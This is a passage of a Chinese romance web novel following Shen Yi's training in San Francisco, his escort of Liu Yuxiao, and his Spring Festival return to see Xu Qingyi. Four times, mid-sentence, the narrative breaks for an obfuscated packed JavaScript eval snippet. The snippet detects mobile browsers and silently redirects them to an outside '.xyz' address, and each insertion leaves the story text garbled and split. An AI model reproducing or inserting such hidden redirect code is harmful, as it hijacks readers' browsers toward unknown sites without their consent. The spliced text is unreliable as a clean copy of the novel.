“没什么。”沈翌也转过头,少见的想要安抚孟晨几句,他说:“你工作几年,回去刚好结婚。” “还有六年啊,我怕我坚持不下去。” 孟晨是清华毕业,还在美国留过学的,虽然不是数学专业,但是他的学历很高。 “那年我出国她就不乐意,等我结束这边的合同,还要让她等六年。” 沈翌自己的感情都还是一塌糊涂,“等待”这个词让他想起来徐清旖,于是他问孟晨:“她是怎么想的?” “她说她等我,但我怕耽误了她。”抽完最后一口,孟晨把剩下的烟蒂放在栏杆边轻轻捻碎,扔进了一边的垃圾桶。 沈翌不知道该说什么,他不怎么会说话,根本谈不上是一个很好的谈心的对象。 他将之前握在手里的烟盒和打火机重新递给孟晨,抿了抿嘴唇,“如果是我喜欢一个人的话,无论多久,我都会等她。” 孟晨似乎很诧异,但又想到那个会给他来电话的中国人,过了会儿他才说:“知道了。” 由于培训的日程紧张,耽搁了一天作为讲解员以后,沈翌第二天一早就重新回到了实验室。 现在这个项目已经进入了中后期,只要他们完成的出色,年后能有四天回国的假期。 这也是他们两年来第一次有回去的机会。 过了几个月,沈翌又接到了一通来自中国的电话。 他的第一反应是徐清旖,毕竟他们已经很久没有联系。 这种不双向的联系一直持续了两年,她可以随时找到沈翌,沈翌却难联系到她。 今晚的月亮很圆,沈翌靠在墙边,在这里可以听见远方传来的微弱海浪声。 “喂。”他出声对着话筒说。 “喂,小沈啊!还记得我吗?” 沈翌微微怔愣了一瞬间,然后才反应过来对面的人是谁,他回答说:“刘局长。” “你在美国怎么样啊?” 刘局长的声音有些哑,沈翌想应该是黎江市多雨的原因,中年人在这个季节基本上都会有些感冒。 “一切都好,你们也要多照顾好自己。” “我是从万师傅那里才拿到你的联系方式的,你小子当年一声不吭就跑了,我还想请你吃顿饭呢!”刘局长笑着说。 沈翌低声笑了笑,“当年的确算是走得太急。” “是这样啊,我们语潇今年大学毕业了,我就想着给她申请一个国外留学的名额。她年纪小,现在去社会上打拼我也不放心,还不如让她去外边镀层金回来。” 办公室的门被敲响,是下属来送新地区开发的资料,刘局长抬手示意对方等一等。 “她一个女孩子,漂洋过海的,本身学艺术的吧,各种人都有,所以我想着申请在你们那边,旧金山对吧?你们在那边也能多个照应,我信得过你。” “可以,刘小姐年轻,不急着出来工作。不过……” “怎么了?你那边是不是有什么不方便?” “也不是,只是我今年年底培训就结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389889|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束了,会留在美国,但还不确定是不是在旧金山。” “这样啊……”刘局长似乎有些为难,如果把女儿送去一个人生地不熟的地方,还不如把她留在自己的局里找一份闲职,轻松又放心。 “你们那个项目不就是在旧金山吗?还会被安排去别的地方吗?” “培训的基地在旧金山,本公司是在华盛顿,我的想法是留在旧金山。”沈翌说:“等明天我问问教授吧,如果可以留在旧金山的话我就告诉您。” “好,谢谢你啊小沈,对了你是南城人对吧?” “是的。”沈翌揉了揉太阳穴,再睁开眼时他觉得自己大概是有些近视了,或许需要佩戴眼镜。 “我最近要去那边出差一趟,想去见见你的家人,你把你家里的地址给我说一声。” 沈翌这两年的工资大部分都汇给了爷爷,想来应该不会缺什么,正打算开口婉拒对方。 刘局长又说:“正好我去的时间有点长,去见一面你的父母,你也放心些。” 沈翌顿了顿,斟酌着开口:“我的家里只有我爷爷,父母很早就去世了。” 刘局长这才想起来上次一起吃饭的时候已经问过了,不留神又揭开了对方的伤心事,十分抱歉地道过歉。 “我记性不好,你别怪我。那我更要去看看他了,老人家一个人在家里。” 沈翌便没有拒绝,告诉了对方地址,然后问这个号码是否是固定电话。 刘局长在纸上记录下地址,回应着他说可以随时打过来。 第二天吃午饭的时候,沈翌便去询问了史密斯教授有关于培训结束后去向的问题。 史密斯教授说:“按照最后的考核成绩进行安排,不过你应该会被调去华盛顿。” 沈翌点点头,然后问:“可以留在旧金山吗?” 教授很疑惑地看了他一眼,“你想留在旧金山?” 华盛顿是美国的首都,公司的本部也在那边,很多人挤破头都想过去。 沈翌倒也不是为了刘语潇,只是对于他来说在哪里工作都无所谓,华盛顿工作机会自然更好,但也更容易牵制他。 “旧金山不是也有分部吗?” “有是有,不过还在前期筹备,你为什么想留在这里?” 沈翌没说话,史密斯教授却看出了他的想法,叹了口气问:“想回国?” “嗯。”沈翌说:“也想申请斯坦福的ElectricalEngineering(电子工程)” 他们的培训基地挂在公司老板建立的一所私立大学名下,两年前过来的时候申请的是F1签证,以留学的名义来进行学习。 现在还有半年多的时间期满,公司为他们申请的留美工作的H-1B签证也已经提上日程。 拥有了这个签证,他便可以一边工作,一边正式地申请一所美国的大学进行学习。 “斯坦福?”史密斯教授鼻子下的胡子已经泛白,证明他是一名已经上了年纪的人。 听见沈翌的话,很赞赏地说:“很有难度,不过我会替你向总部申请的。刚好这边新分部建立起来的时候,或许需要有人负责。” “谢谢教授。” 15. 旧金山 徐清旖是在一个周末去探望万师傅时,得知刘语潇即将要去美国旧金山读书的消息的。 万师傅形容刘局长似乎很满意沈翌,说到这儿还抬起头瞟了瞟徐清旖,但徐清旖当时注意力并没有在这里。 从几年前的那一次见面开始,她其实就能够感觉出来刘语潇对沈翌的爱慕。 那时候她觉得这很正常,从小到大沈翌身边的爱慕者从来不占少数,多数都是因为他英俊、聪明、彬彬有礼,好像是一个完美的人。 但渐渐的她们都会和她一样意识到这之间的距离,然后就会默默退回到一个合适的距离。 那时候刘语潇给她的印象是一个被宠得单纯没有心机的女孩子,所有的心事都写在脸上,喜不喜欢表现得都很明显。 那么这一次去找沈翌,是她自己要去呢,还是她的父亲有心撮合呢? 刘语潇曾经向她打听过沈翌和她的关系,她也委婉地讲过沈翌有喜欢的女生,劝她别托付全部。 其实她也是有私心的,几年前沈翌放下南城的一切来黎江的时候她就想过,或许他已经不喜欢那个人了呢? 又或许再几年那个女孩子已经恋爱、成家,那时候沈翌是否可以回头看看自己? “语潇这孩子啊,年轻,喜欢什么就知道去争取,一味等待的话,万一错过了呢?” 万师傅一边扭紧手中的螺丝,一边透过挂在鼻梁上的老花镜仔细观察机体,实际上他是在劝徐清旖。 他早就知道沈翌喜欢她,但摸不清现在两个人的关系,自己又不能多说什么。 他只是觉得沈翌是个闷葫芦,如果想要关系更进一步,更多的可能需要眼前这个女孩子自己往前一步。 作为过来人,他更是把刘语潇对沈翌的喜欢看在眼里,这些年他早就将沈翌看作是自己的孩子,所以无论是沈翌喜欢的徐清旖,还是他更看好的刘语潇,他都想着尽量帮一把。 至于最后的结果,就要交给他们年轻人自己了。 “多个认识的人过去互相照应一下也好。”徐清旖说。 今年公司给她升了职,现在她是肖珩的专属秘书,甚至还拥有了一间自己的小的办公室。 月底会再给她配备一部电话,所以她想等到那时候再和沈翌通话,并告诉他可以随时联系到自己的号码。 当时她还想她需要告诉沈翌,即便如此还是不能经常通电话,因为不能影响工作。 他们公司和FLAW的合作正式结束了。 其实去年的时候就可以结束,不过李安临时又追加了一个项目,加上他的签证即将过期,所以必须马上返回英国。 离开的时候李安向她告白,徐清旖被吓得不轻。 李安却只是笑了笑,对她说:“我没有在逼你,你好好想一想,可以给我打电话,或者发邮件。” 说完递给她一张精美的卡片,上面写的正是他的号码。 徐清旖没接,他就握住她的手,把卡片放在她的手里。 “走了。”他揉揉她的头,然后才转身离开。 离开机场以后,徐清旖把那张卡片认真地撕碎至无法再拼好的样子,走到垃圾桶旁边扔了进去。 她并不喜欢李安,也就从没有考虑过和他会产生什么除了合作以外的关系。 知一调去了上海分部,徐清旖后来又重新租了一间一居室,但是因为林知一现在在和肖珩谈恋爱,所以偶尔还是会回来。 有时候会抽出几个晚上和她待在一起聊心事。 她们很自然地聊到沈翌,林知一会问他们为什么还没有在一起,徐清旖只是笑着摇头说:“再等等。” 沈翌前两年刚去美国的时候给她寄了信,信里说他的培训会在1993年年底结束,也就是今年。 春节他大概会回来一趟,等到时候再问问他接下来的打算也不迟。 自从确定了要申请斯坦福以后,沈翌开始着手精进专业的更顶尖领域,前几天他买了一本《C++primer》,这本书花费了他好几十多刀。 刘语潇来的前一天,沈翌接到了刘局长的电话,并答应了对方要去机场接她。 他和教授请了假,这两年他一直是全勤,所以教授对他的请求欣然同意。 第二天他早起就着晨跑,直接步行去了机场。 旧金山已经是夏季,湿润的海风沿着海岸线缓缓地吹过来。 昨晚他熬夜算数据,早晨起来饿得厉害,刚好要出门接人,早饭就随便冲了一桶泡面来吃。 刘语潇的飞机是在早晨九点到,沈翌猜她应该是没有时间吃饭,所以在便利店给她买了一份披萨。 他不常吃这个,想起来白思园曾经抱怨过棒约翰难吃,于是避开它选择了另一个品牌。 接到人的时候,刘语潇的妆已经有点花了,好在本来也不太浓,看起来就没有那么滑稽。 但是她好像非常不满意,和沈翌抱怨说美国怎么这么远? 沈翌笑着递给她披萨,顺手拿过她手上两个巨大的行李箱往外走。 沈翌穿着一件深蓝色的宽松短袖衬衫和一条牛仔的短裤,裤子的长度在膝盖的位置。 那年去万师傅家里磕伤的地方还是留了一小块疤,在右腿的膝盖处不是太明显,但仔细看还是可以发现。 将刘语潇送到宿舍以后,沈翌发现她申请的是3B2B(三间卧室,两间卫生间)的宿舍,她的房间是这里面条件最好的卧室,自带一间卫生间。 大概是因为刘语潇来得很早,现在只有她一个人先到,于是她邀请沈翌进去坐一坐。 沈翌委婉地表示了拒绝,虽然这间宿舍现在空空荡荡,但毕竟是女孩子的房间。 “那你过几天有时间可以陪我去一趟宜家吗?我还有很多家具没买。” 刘语潇穿着一条复古红的长裙,应该是早就知道加州紫外线强烈,所以戴着一顶棕色的帽子遮阳。 此时她背着手站在台阶边向沈翌发出邀请,在出租车上时她拿出随身携带的化妆品补了补妆,虽然沈翌不明白其中的原理,但她看起来的确没有了疲惫。 “宜家离这里很远,这几天我们基地有些忙,可能还要等等。”沈翌想了想说:“如果你急着要的话,可以自己先去逛逛,有时间我再陪你过去。” “没关系,不着急,等你有时间了吧。”刘语潇笑着回他。 “好,那你先收拾,一个人的时候尽量不要去人少的地方,这边的治安很一般。” 沈翌从背包里拿出一个笔记本,撕下一张纸,然后从最外层的包里拿出一支笔,写下了自己的联系号码,“有什么事可以打这个电话,是我们宿舍的电话。” 刘语潇接过来看了看,沈翌的字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389890|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很端正,和她以前那些男同学写的字都不太一样,“你们宿舍?那我可以经常给你打电话吗?” 沈翌放笔的手顿了顿,像是看见了什么东西,然后才反应过来刘语潇和她说的话的意思,大概是有些不明白。 “如果遇见了什么事可以和我打电话,但是经常打的话可能不太好,毕竟是宿舍的电话。” “年底我可能会经历一次人事调动,到时候再告诉你新的联系方式。” 沈翌说完往后退了一步,又想起来什么事,“你父亲说你学的是音乐教育?” “是的,我很喜欢做一名老师。” “好,祝你在美国的日子里足够快乐,刘小姐再见。” 他的再见官方又生分,刘语潇不太喜欢,皱着眉毛打断他,“你应该叫我语潇,我也会直接叫你的名字,沈翌。” 沈翌抿着嘴点点头,然后说:“好的,下次见。” - 徐清旖后来给沈翌打过一个电话,说完正事以后,忽然与他相对无言。 她在脑子里飞速想了想最近还能够与沈翌讲的事,然后才发现几乎是没有。 她不想讲李安向她告白的事情,甚至有些抗拒,就像不想听沈翌提起刘语潇一样。 沈翌不知道说什么,但是又不想挂电话。 就在他同样也沉默着绞尽脑汁的时候,听见徐清旖声音很小地问他:“刘局长的那个女儿,是不是也去了美国?” 他想应该是万师傅告诉徐清旖的,万师傅既然把自己的电话告诉了刘局长,自然也知道对方找自己是什么事。 “嗯,刘局长觉得她年纪小,拜托我照顾她。” “那你可得好好照顾她……”徐清旖问:“她的学校离你们那边近吗?” “还可以,不过还是有一段路。”沈翌说完又补充道:“我到现在都还只见过她一面,过两天要陪她去宜家,那边在市区,太远。” “哦,好。”徐清旖怕继续问下去是给自己找不痛快,及时转移了话题问他:“年底什么时候回来?” “今年应该是回不来了,恐怕要明年。”沈翌说:“不过我看了日历,春节可以待在家里,你要回去吧?” “要,前两年城外修了一座寺庙,我们可以去逛庙会。”徐清旖忽然心情很好,“你到时候先飞黎江吧,我们再一起回去。” “好。” 沈翌下意识点了点头,“前几天我还看见你在拉萨的时候送我的那个福袋了,走的时候记着要带在书包里,过来却忙忘记了,找笔才看见。” 徐清旖又想起来那位奇怪的活佛,于是说:“那个你可收好,说了很灵的。” 沈翌低声笑了笑,声音穿过话筒传到徐清旖的耳边,她红着脸揉了揉鼻子,“别笑。” “好,不笑。” 他忽然想到上半年上映的那部电影。 那天是孟晨拉着他出去买东西,回来时天色将晚,海面和沙滩上的椰树都被罩上一层淡紫色。 一群人围在一起架着笨重的设备看电影,其中就有《SleeplessinSeattle》。 沈翌和孟晨也找了个位置坐着,星星亮了几颗,荧幕里的夜晚和今晚一样,男主角和女主角也是这样握着电话互相交流。 如果这部电影在国内上映,徐清旖一定会很喜欢。他这样想。 16. 西海岸 徐清旖的计划正式提上日程,美国没有春节,所以沈翌只能请到五天的假期。 除去前后要在路上耽搁的两天,他们能够待在南城的时间其实也就只有三天。 但是她想做的事情有很多。 长江上游支流流经南城,南城新建了一座跨江大桥。 起初政府修桥招标的时候,徐清旖有一位大学同学还找到她询问相关的政策。 同学叫作曾煦杰,两人当年是在一次社团活动里认识的,见面之后听说他现在在上海工作。 徐清旖问他怎么想起来要去南城。 “我们做工程的不就是到处跑?”曾煦杰笑着说:“我可还记得你就是南城人,你呢?现在在做什么?” “在广告公司里。” 两人大学时也不算太熟,徐清旖猜测他这次来找到自己也不过就是个顺带的事,聊了几句就聊到工作。 曾煦杰又感叹说:“黎江这两年发展太好了,当初毕业的时候留下来其实也不错。” 徐清旖问他:“你结婚了吗?” 曾煦杰缩了缩手指,两手交握着搭在膝盖上,左手无名指上戴着一只素戒,他微微抬了抬下巴,“没。” “分开好久了。” “抱歉。”徐清旖说。 曾煦杰大学时候在学校里很出名,他学习的是黎江大学最知名的建筑专业,又因为他长相英俊、成绩出众,所以即使是性格不太好接近,也仍然有一大批爱慕者。 徐清旖是在大三的时候听说他谈恋爱的,据说是两人一起在校外吃饭被人偶遇了。 回去之后有人询问他情况,曾煦杰没有否认。 后来有一次徐清旖去他们系找一个同学,正好碰到了曾煦杰和那个女孩子一起上课。 根本没有别人所讲的那么浓妆艳抹,她穿着最普通的短袖和牛仔裤,干净又利落。 不过之后他们发生了什么徐清旖就不知道了,只是在毕业的时候听室友感叹了一句,说曾煦杰陪着女朋友去了上海。 从回忆中回过神来,对方也在望着窗外发呆。 害怕触及他的伤心事,徐清旖揭过话题问:“你一直负责的是桥梁建筑吗?” 曾煦杰看向她,“是。” “听说旧金山有一座红色的金门大桥,我只在图片里见过,很漂亮。” “金门大桥。”这对于他们这个专业的人来说十分熟悉,“一个奇迹。” “怎么了解到这个?想出国吗?”曾煦杰问她。 徐清旖摇摇头,“随便问问。” - 去宜家之前刘语潇列了一个清单,上面从台灯到舒适的软沙发总共有近二十项需要购买的家具。 递出清单时,刘语潇不太好意思地问:“会不会太多?” 沈翌摇了摇头,“不会。” 到了宜家以后,刘语潇作为女孩子的天性展现得淋漓尽致。 她应该是很喜欢复古的东西,对于美式田园风格的家具几乎没有抵抗力,甚至将列好的清单抛在脑后,自顾自买下一大堆东西。 沈翌一边替她仔细核对着是否有买到清单上的必需品,一边偶尔开口提醒她:“你刚订过一张化妆桌。” 刘语潇于是开始认真考虑究竟是手边这张绿色的、自带化妆镜的桌子,还是几分钟前那张白色点缀着粉色碎花,但是需要另外再订化妆镜的桌子,到底哪一种才更合适她卧室的风格。 沈翌不算学过美术,但阅读过大量的色彩书让他的审美水平很高。 于是他适时再次提醒刘语潇:“你的卧室绿色太多了。” 刘语潇买了白色的化妆桌。 有时候沈翌也会由着她买,比如当她站在一套餐具前走不动路,沈翌会说:“你可以买两套回去,换餐具就当是换心情,这样会很有用。” 等到刘语潇用银行卡结完账,正在用笔抄写货号的时候,沈翌看见隔壁是一家KFC。 他走过去问刘语潇想不想在这边吃晚饭。 刘语潇摇摇头说想要去中国超市,因为无法控制想家,所以她要看看有没有可以直接加热的便当。 沈翌点点头,等她出来以后和她并肩走在街头。 刘语潇将所有的东西都办理了送上门的业务,此时两人轻松得过分。 于是她问沈翌:“美国没有春节的话,我是不是不能回家?” “你们会有假期。”沈翌说:“如果你想家,可以回去。” “那你怎么没回去?万师傅说你这两年从来没有回过国。” “我们的时间很紧张,很难回去。” 沈翌停下脚步,最近旧金山的夜晚已经开始降温,他过来找她的时候换了一件白色的衬衫。 刚从宜家出来还有些热,袖口被轻轻挽在手肘处。 他的身后是被流霞渲染的粉色的天空,路灯沿着海岸线分散得很远,海风将他额前的短发吹得微微上扬,后来很多年刘语潇都没有忘记这一幕。 年轻的男人喊她的名字,他说:“语潇。” “今年春节我会回国。” 沈翌把手里的饮料放进垃圾桶,远处有海鸥盘旋在海面上。 海浪拍打着礁石,清澈的水声引得他出神,沈翌甚至忘了告诉刘语潇一个人注意安全。 “好。”然后她问:“什么时候回来?” “回去几天。” 刘语潇抿着嘴笑,脸颊处有两个酒窝,她点点头说:“好。” - 美国的新年是圣诞,基地给他们放了三天假,于是白思园他们计划着一趟自驾旅行。 沈翌去年在这边拿到了驾照,但是他不太想庆祝这个节日。 对于他们的目的地洛杉矶也没有太大的兴趣,所以没有加入他们,准备一个人待在宿舍睡觉和学习新课程。 前几天他刚了解到MCM(美国大学生数学建模竞赛)即将在下个月举行,因此他还特意去询问了教授他现在是否能够参加。 史密斯教授告诉他,现在他们是作为留学生在美国学习,所以是有资格参加这项赛事的。 于是沈翌利用基地内的电脑,在网络上发布了征集队友的消息。 最后和同在旧金山的另外两名大学生一起,组成了一支队伍提交了报名表。 他们在基地旁边找了一套短租房,购买了大量的咖啡和快餐食品以后,在这里几乎是不眠不休了整整四天,最后才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389891|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在截止的日期提交了模型和论文。 他和两名队友在深夜大松一口气,情绪激动地穿着拖鞋就跑去了外面的街道。 那时候已经是深夜,外面的街道上没有几个人。 沈翌和那两位朋友(一位是来自纽约的Joseph,另一位是来美留学的俄罗斯人David),他们在24小时便利店买了几罐啤酒,然后开着Joseph那辆老旧的福特来到海岸边,坐在沙滩上碰了碰易拉罐再灌下一大口。 两年前的沈翌还会在黎江市的饭局上推脱说“我不喝酒”,现在的他却在凌晨四点的旧金山和两位刚认识不久的朋友碰杯,意识不清醒的时候还对他们说:“在中国的酒桌上,比年纪比你大的人杯口更高是不礼貌。” 两位外国友人笑着问他这是否就是所谓的酒桌文化? 沈翌又朝他们举了举杯子,然后点点头喝下一口。 他说:“我要回中国了。” 由于基地内少美国人的原因,沈翌的美式英语其实不是特别标准。 David表示了可惜,又问他是否会回来,沈翌点点头,像个年纪很小的小孩一样调皮地说:“当然。” Joseph歪了歪脑袋喊他“Yi”,说:“我以为你是个很严肃的人。” 沈翌有些醉了,听见他的英文还挑着眉纠正他,说他的英语不标准。 David也开玩笑,问他的标准是不是Chinglish? 沈翌表情平静地回复:“那你刚刚所说的汉语词‘标准’,是不是Engnese?” 两位外国人听了之后哈哈大笑,问他为什么一开始不和他们说实话,让他们担心再也见不到这位很合得来的朋友。 沈翌摇了摇易拉罐,里面的啤酒已经见底,很轻地“啧”了一声,又打开一瓶,“因为我不想回来。” 这句话他说的是中文,两位外国人听不懂,沈翌又用英语重复了一遍,“我不想回来,因为我带不走她。” 都是谈过恋爱的人,也就能够明白沈翌的意思,于是他们俩也都打开了话匣子。 谈初恋女友,也谈现在的女朋友,甚至还有暧昧过的男性。 沈翌安静听,不知不觉他们在海边坐了很久,直到金色的太阳从海面上缓缓升起来,他们才决定离开。 退了短租房后,Joseph又开车将沈翌送回基地,然后才调转方向盘去送David回家。 回到宿舍时,很多人都收拾好行李箱准备回家了。 沈翌的行李箱在比赛开始之前就整理完毕放在床边,他的飞机在下午,和几个朋友告别以后又躺在床上补觉。 等到睡醒距离飞机起飞还有四个多小时,他将身上穿了几天的衣服换了下来扔进洗衣机,又洗了个澡换上之前留在床上的干净衣服。 黎江的温度应该比这里高一些,他带的行李箱不大,只装着带给国内熟识的人的礼物还有两套换洗的衣物。 离开之前他还给刘语潇拨了一通电话,叮嘱了她一遍不要去人少的地方。 刘语潇在电话里笑着和他开玩笑,“你怎么比我爸爸还唠叨。” 中国农历新年的前两天,沈翌正式坐上了回国的航班。 17. 青龙寺 到黎江市已经是在下午,沈翌在飞机上睡过一觉,此时面对国内的阳光神采奕奕。 他从关口出来时,看见徐清旖抱着一大束鲜花和一块硬纸板,上面写着“欢迎最厉害的沈翌回国!” 感叹号后面还夸张地画了一个笑脸,看起来又傻又可爱。 “怎么样?”徐清旖问的是自己手里拿的纸板,然后又摁住沈翌握着行李箱的手,皱着眉毛围着他转了个圈。 沈翌憋着笑等她打量的结论,只听见徐清旖“咦”了一声,对他说:“你长高了是不是?怎么还晒黑了?” “那边吃得比较好。” 沈翌又想从她手里拿过那块硬纸板,却被她躲开。 听见她说:“你也没长胖啊?听说那边的食物热量很高,你怎么只长高,挺会长啊。” 沈翌摇摇头,催着她出机场。 黎江市的变化很大,从机场到勃艮第路的一路上新建了许多高楼。 沈翌在美国两年多没怎么去过别的地方,但单就于旧金山来说,这样看来差距已经没有很大。 晚上的饭店就订在勃艮第路距离相机店不远的地方,这也是沈翌和徐清旖商量好的,以免万师傅还需要四处寻找。 可是他没有想到在这里会遇见李其深。 两年前他去拉萨之前,李其深对他说要去参加一个酒店的面试,那时因为自己即将离开,所以也没有认真向他了解。 此时站在酒店里,李其深穿着一身熨烫妥贴的西装站在他们对面,沈翌觉得这一定是所谓的缘分。 “什么时候回来的?” 时间已经不早,李其深索性提前下了班,换了一套舒适的常服在他们身边坐下。 他向万师傅和徐清旖问好,这些都是他听说过名字但没怎么见过的人。 “刚到。”沈翌他们已经吃了一会儿,此时他替李其深拆开碗筷,放在他面前,问他:“现在在这里上班做什么?” 李其深站起来给万师傅和徐清旖杯里添酒,然后又给沈翌和自己斟满一杯,“销售经理,误打误撞的。” “这是你当初那位室友?”万师傅问。 沈翌点点头,“对,以前受了他很多照顾。” 李其深不说话,端起酒杯向万师傅和徐清旖示意,也没有看沈翌,仰头一口闷了下去。 “这样喝容易醉的。”徐清旖扯了扯沈翌的衣袖,让他劝一劝。 李其深又给自己添酒,自顾自说话。 “你小子,当年走也不提前说一声,有天下午我回家,东西就都没了,本来你东西就不多,我以为你又去了哪里玩。” 他用酒杯在沈翌放在桌上的杯子碰了碰,又喝下去,然后说:“直到有一天房东带人来看房,我才能确定你自己跑了。” 当年沈翌离开是和公司一起走的,他没有告诉任何人离开的时间,徐清旖和万师傅问的时候也只说不清楚。 他不擅长离别,更不愿意去经历。 在他闷头喝下第三杯白酒的时候,沈翌才伸出手去阻止。 “好了,这样喝胃会出问题的。” 李其深心里有气,但不至于闹很大的脾气,半晌过后才吸了吸鼻子,“你小子。” 平复好情绪以后,他叫来服务员又加了几个菜,问沈翌:“这次回来待多久?” “三天,明天回家。” “然后呢?你去了哪里?”李其深问。 “美国。”沈翌一边拿过万师傅的碗给他乘汤,一边回答李其深,“没告诉你不是不把你当朋友,是给你说这件事的时候还没有确定,从拉萨回来之后走得匆忙。” 李其深点点头,看见沈翌又拿了徐清旖的碗,又问:“还是做相机吗?” “差不多,但不止。”沈翌说:“之后还会研究电影成像。” “之后?还回美国吗?”徐清旖问。 沈翌将碗放回她面前的动作顿了顿,隔了一会儿又想给李其深盛汤,李其深挡住他的手。 “我自己来。” 沈翌才叹了一口气,回答徐清旖的问题。 “我签了劳务合同,明年回不来。” “那是多久?” “五年。” 沈翌回答得好似漫不经心,只有他自己知道他有多紧张。 “这五年和以前不一样,我可以随时回国。” 饭桌上静了静,万师傅看着他欲言又止,最后还是问他:“是自愿的吗?” “当然。”沈翌笑了笑,“别担心。” “去之前签的?还是之后?” “刚去的时候。” “沈翌,拜托你把那个菜给我转过来啊,我好想吃。” 李其深出声打破了这个压抑的氛围,“不就是五年嘛,五年之后你也不到30岁,还很年轻。” “还是在旧金山吗?” 万师傅看了看徐清旖,后者正埋着脑袋喝汤。 “对,我还申请了斯坦福的硕士学位,所以也不是没有好的一面。” 沈翌故作轻松地说:“况且工资很高。” 李其深在这间酒店上班以后,为了节省一直住在酒店后面的员工宿舍。 他偷偷去买单才发现沈翌已经在前台结过账了,于是他又想送他们回家。 沈翌婉拒了他的提议,让他先在这里陪一下万师傅,自己先送徐清旖回家。 “你之前……怎么没有告诉我还有五年?” 徐清旖提着包,黎江的冬季不会很冷,一件呢子大衣套一件薄薄的毛衣就已经足够。 沈翌走在她身后几步的位置,这个距离伸出手就能碰到她。 但他仍然保持着现状,没有加快脚步。 “没想好怎么说。” “清旖。” 沈翌叫住她,徐清旖停了下来,却没有转过身看他。 “这五年里,我大概率是回不了国的。” “没关系。”徐清旖低下头,弯着嘴角露出一个只有自己知道的笑,“五年嘛,很快的。” 沈翌往前走了一步,路灯下两人的影子靠在一起。 一个低着头,一个微微弯着腰,像是两个已至耄耋的老人。 他们之间隔着一层毛玻璃,现实握着沈翌的手不让他打破,徐清旖在另一头,怎么样也望不到清明的未来。 - 那年拉萨没有去成色拉寺,今年冬天却和沈翌一起到了青龙寺。 青龙寺是一座新建的寺庙,青瓦红墙,墙边还种着几棵漂亮的梅树。 他们走到偏殿的位置,在这里有一处红色拱门,拱门两侧刻着“人杰地灵,物华天宝”。 徐清旖用手摸了摸这几个字,然后对沈翌说:“哎,他们说在这里许愿很灵验的,去看看吗?” “在哪里?”沈翌的手里捏着一个泥塑,这是他们在山下买的,是一只很可爱的小狗,今年是狗年。 “跟我来。”徐清旖牵着他的手腕,越过这个小院和一处正殿,来到一棵很大的树旁。 这棵树上面挂满了红色的布条,树又被一圈栏杆围着,栏杆上挂着很多的红色的许愿牌。 徐清旖拉着他走到一位僧人旁边,她问对方:“你好,请问这两种许愿方式有什么区别吗?” 僧人看了他们一眼,朝他们微微点头。 “这是我们寺里的许愿树,红布条有的求爱情,有的求学业,有的求平安,只需要写上自己的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389892|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将它扔上去,扔得越高越好。” “许愿牌则是写下自己的愿望,然后利用红丝带将它绑在此处即可。” 徐清旖点点头向他道谢,“沈翌,我们都买吧?” “好。” 徐清旖于是走到小摊前,买了两根红布条。 “这个求平安,还有你不是在申请研究生吗?这一根求你的学业。” 卖布带的人看了看他们,然后笑着问她:“姑娘,不求姻缘啊?” 徐清旖张了张嘴,还没来得及开口,就听见沈翌说:“再买一根。” 她的臂力不够,扔了几次都从树枝的缝隙中掉下来,最后还是沈翌将三根全部扔了上去,在木棉树的最顶端。 清风一吹过,红布条底端绑着的小铃铛一阵作响,浪漫又赏心悦目。 “说起来,这些年我很信这个。”徐清旖说。 “什么?” 等到他们赶在最后一波人一起下山的时候,徐清旖才又接过了这个话,“山上不能说的。” “你是我身边走得最远的人。” 徐清旖拢了拢脖子上的围巾,哈出一口白气,两只圆圆的眼睛盯着沈翌。 “小时候听收音机,以为世界上只有中国和外国两个国家,长大以后,熟识的人里也只有你出了国。” “我从来没去过那么远的地方,我胆子太小了,只要一想到那么远的距离就会不由自主地害怕出现意外,现在也是。” 徐清旖说:“害怕你出意外,所以每一次可以许愿时,都想着祈求你能够平安。” “不过你应该不相信这个吧,这可不能在山上说。” 她笑了笑,“其他的我什么都做不了了,也不能和你一起去美国,这已经是我能做的所有了。” 等到快到家的时候,沈翌站在徐清旖家的院门口,才拉住她的衣服一角。 